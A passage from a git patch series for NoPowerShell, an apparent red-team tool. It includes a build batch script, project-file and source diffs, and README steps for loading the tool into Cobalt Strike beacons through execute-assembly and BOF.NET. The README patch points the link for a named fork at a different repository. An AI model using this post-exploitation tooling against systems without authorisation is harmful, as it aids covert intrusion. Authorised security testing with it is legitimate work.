( -echo information about build is not available. -set /a av=2 -goto bp -) -type "!wPkgPath!\\!ak!" -goto bp -) -if not exist !a1! ( -echo Something went wrong. Try to use another keys. -set /a av=2 -goto bp -) -call :bt "wRootPath = " wRootPath -call :bt "wAction = " wAction -call :bt "wMgrArgs = " wMgrArgs -if defined ao ( -call :bt "Use specific MSBuild tools: " ao -set a5="!ao!" -goto bw -) -call :bx bi & set a5="!bi!" -if "!ERRORLEVEL!"=="0" goto bw -echo MSBuild tools was not found. Try with `-msb` key. -set /a av=2 -goto bp -:bw -if not defined a5 ( -echo Something went wrong. Use `-debug` key for details. -set /a av=2 -goto bp -) -if not defined au ( -call :bt "Target: " a5 a1 -!a5! /nologo /v:m /m:4 !a1! -) -:bp -if defined au ( -echo Running Tests ... "!au!" -call :bx bj -"!bj!" /nologo /v:m /m:4 "!au!" -exit/B 0 -) -if defined as ( -(copy /B/Y "!wPkgPath!\\DllExport.bat" "!al!" > nul) && ( echo Manager has been updated. & exit/B !av! ) || ( echo -mgr-up failed. & exit/B %ERRORLEVEL% ) -) -exit/B !av! -:bx -call :bt "Searching from .NET Framework - .NET 4.0, ..." -for %%v in (4.0, 3.5, 2.0) do ( -call :by %%v Y & if defined Y ( -set %1=!Y! -exit/B 0 -) -) -call :bt "msb -netfx: not found" -set "%1=" -exit/B 2 -:by -call :bt "check %1" -for /F "usebackq tokens=2* skip=2" %%a in ( -`reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%1" /v MSBuildToolsPath 2^> nul` -) do if exist %%b ( -set a6=%%~b -call :bt ":msbfound " a6 -call :bz a6 bk -set %2=!bk! -exit/B 0 -) -set "%2=" -exit/B 0 -:bz -set %2=!%~1!\MSBuild.exe -exit/B 0 -:bt -if defined am ( -set a7=%1 -set a7=!a7:~0,-1! -set a7=!a7:~1! -echo.[%TIME% ] !a7! !%2! !%3! -) -exit/B 0 -:bv -call :b0 %1 -call :b1 %1 -exit/B 0 -:b0 -call :b2 %1 "-=1" -exit/B 0 -:b1 -call :b2 %1 "+=1" -exit/B 0 -:b2 -set a8=z!%1!z -if "%~2"=="-=1" (set "a9=1") else (set "a9=") -if defined a9 ( -set /a "i=-2" -) else ( -set /a "i=1" -) -:b3 -if "!a8:~%i%,1!"==" " ( -set /a "i%~2" -goto b3 -) -if defined a9 set /a "i+=1" -if defined a9 ( -set "%1=!a8:~1,%i%!" -) else ( -set "%1=!a8:~%i%,-1!" -) -exit/B 0 -:bn -set "a_=%~1" -set /a aw=-1 -:b4 -set /a aw+=1 -set %a_%[!aw!]=%~2 -shift & if not "%~3"=="" goto b4 -set /a aw-=1 -set %1=!aw! -exit/B 0 -:bs -set %2=!%1! -exit/B 0 -:bu -setlocal disableDelayedExpansion -@echo off -:: GetNuTool - Executable version -:: Copyright (c) 2015-2018 Denis Kuzmin [ entry.reg@gmail.com ] -:: https://github.com/3F/GetNuTool -set ba=gnt.core -set bb="%temp%\%random%%random%%ba%" -if "%~1"=="-unpack" goto b5 -set bc=%* -if defined __p_call if defined bc set bc=%bc:^^=^% -set bd=%__p_msb% -if defined bd goto b6 -if "%~1"=="-msbuild" goto b7 -for %%v in (4.0, 14.0, 12.0, 3.5, 2.0) do ( -for /F "usebackq tokens=2* skip=2" %%a in ( -`reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul` -) do if exist %%b ( -set bd="%%~b\MSBuild.exe" -goto b6 -) -) -echo MSBuild was not found. Try -msbuild "fullpath" args 1>&2 -exit/B 2 -:b7 -shift -set bd=%1 -shift -set be=%bc:!= #__b_ECL## % -setlocal enableDelayedExpansion -set be=!be:%%=%%%%! -:b8 -for /F "tokens=1* delims==" %%a in ("!be!") do ( -if "%%~b"=="" ( -call :b9 !be! -exit/B %ERRORLEVEL% -) -set be=%%a #__b_EQ## %%b -) -goto b8 -:b9 -shift & shift -set "bc=" -:b_ -set bc=!bc! %1 -shift & if not "%~2"=="" goto b_ -set bc=!bc: #__b_EQ## ==! -setlocal disableDelayedExpansion -set bc=%bc: #__b_ECL## =!% -:b6 -call :ca -%bd% %bb% /nologo /p:wpath="%~dp0/" /v:m /m:4 %bc% -set "bd=" -set bf=%ERRORLEVEL% -del /Q/F %bb% -exit/B %bf% -:b5 -set bb="%~dp0\%ba%" -echo Generating minified version in %bb% ... -:ca -%bb% -set a=PropertyGroup&set b=Condition&set c=ngpackages&set d=Target&set e=DependsOnTargets&set f=TaskCoreDllPath&set g=MSBuildToolsPath&set h=UsingTask&set i=CodeTaskFactory&set j=ParameterGroup&set k=Reference&set l=Include&set m=System&set n=Using&set o=Namespace&set p=IsNullOrEmpty&set q=return&set r=string&set s=delegate&set t=foreach&set u=WriteLine&set v=Combine&set w=Console.WriteLine&set x=Directory&set y=GetNuTool&set z=StringComparison&set _=EXT_NUSPEC -^ Release AnyCPU - $(Platform) {555AD0AC-1FDB-4016-8257-170A74CB2F55} Exe NoPowerShell NoPowerShell - v4.5.2 + v4.7.2 512 true @@ -25,7 +23,8 @@ 4 - pdbonly + false + None true bin\Release\ TRACE @@ -47,6 +46,27 @@ $(DotNetVersion.SubString(2,1)) $(DefineConstants);NET$(DotNetVersion);MAJOR$(MajorVersion);MINOR$(MinorVersion);SUB$(SubVersion) + + AnyCPU + + + F46B9794-A4B1-4878-A086-DA624D69D7A1 + DllExport.dll + NoPowerShell + true + false + Auto + 1 + false + false + false + false + 30000 + 2 + 0 + 0 + 0 + ..\packages\BOFNET.1.1.3\lib\net40\BOFNET.dll @@ -141,4 +161,24 @@ + + + + + + + + + + + + $(SolutionDir)packages\DllExport.1.7.4\gcache\$(DllExportMetaXBase)\$(DllExportNamespace)\$(DllExportMetaLibName) + False + False + + + + + + \ No newline at end of file diff --git a/Source/NoPowerShell/Program.cs b/Source/NoPowerShell/Program.cs index 5b627ab..596f518 100644 --- a/Source/NoPowerShell/Program.cs +++ b/Source/NoPowerShell/Program.cs @@ -64,6 +64,7 @@ public static void Main(string[] args) BeaconConsole.WriteLine(error); #else WriteError(error); + return; #endif } } @@ -151,8 +152,8 @@ public static void WriteWarning(string warning, params object[] args) Console.ForegroundColor = ForegroundColor; } - public static readonly string VERSION = "1.23"; - public static readonly string WEBSITE = "https://github.com/bitsadmin"; + public static readonly string VERSION = "1.25"; + public static readonly string WEBSITE = "https://github.com/bitsadmin/nopowershell"; #if !DLLBUILD private static readonly string USAGE = "Usage: NoPowerShell.exe [Command] [Parameters] | [Command2] [Parameters2] etc.\r\n"; private static readonly string HELP = "\r\nExecute NoPowerShell without parameters to list all available cmdlets."; diff --git a/Source/NoPowerShell/packages.config b/Source/NoPowerShell/packages.config index e4a882b..6f24abd 100644 --- a/Source/NoPowerShell/packages.config +++ b/Source/NoPowerShell/packages.config @@ -1,4 +1,5 @@  + \ No newline at end of file From c5192255fe351f3d447bf086e7cef7d438f372b1 Mon Sep 17 00:00:00 2001 From: Arris Huijgen Date: Fri, 3 Nov 2023 18:23:59 +0100 Subject: [PATCH 23/23] Fixed links --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1867d18..e6d6964 100644 --- a/README.md +++ b/README.md @@ -32,14 +32,14 @@ Use Cobalt Strike's `execute-assembly` command to launch the `NoPowerShell.exe`. Optionally `NoPowerShell.cna` can be used to add the `nps` alias to Cobalt Strike. ## Use in Cobalt Strike via BOF.NET -1. Install the BOF.NET BOF from [https://github.com/CCob/BOF.NET] +1. Install the BOF.NET BOF from https://github.com/CCob/BOF.NET 2. Load the BOF.NET runtime: `bofnet_init` 3. Load the NoPowerShell module: `bofnet_load /path/to/NoPowerShell.dll` 4. Execute NoPowerShell cmdlets: `bofnet_execute NoPowerShell.Program Get-Command` ## Use in Cobalt Strike using @williamknows fork of BOF.NET This fork allows running regular .NET executables -1. Obtain and compile @williamknows' fork of the BOF.NET from [https://github.com/williamknows/BOF.NET] +1. Obtain and compile @williamknows' fork of the BOF.NET from https://github.com/CCob/BOF.NET 2. Load the BOF.NET runtime: `bofnet_init` 3. Load the NoPowerShell module: `bofnet_load /path/to/NoPowerShell.exe` 4. Execute NoPowerShell cmdlets: `bofnet_executeassembly NoPowerShell Get-Command` @@ -138,6 +138,7 @@ Authors of additional NoPowerShell cmdlets are added to the table below. Moreove | Write-Output | Utility | | | Invoke-WebRequest | Utility | | | Measure-Object | Utility | | + Also make sure to check out the [Cheatsheet](https://github.com/bitsadmin/nopowershell/blob/master/CHEATSHEET.md) for examples on how to use these cmdlets. # Acknowledgements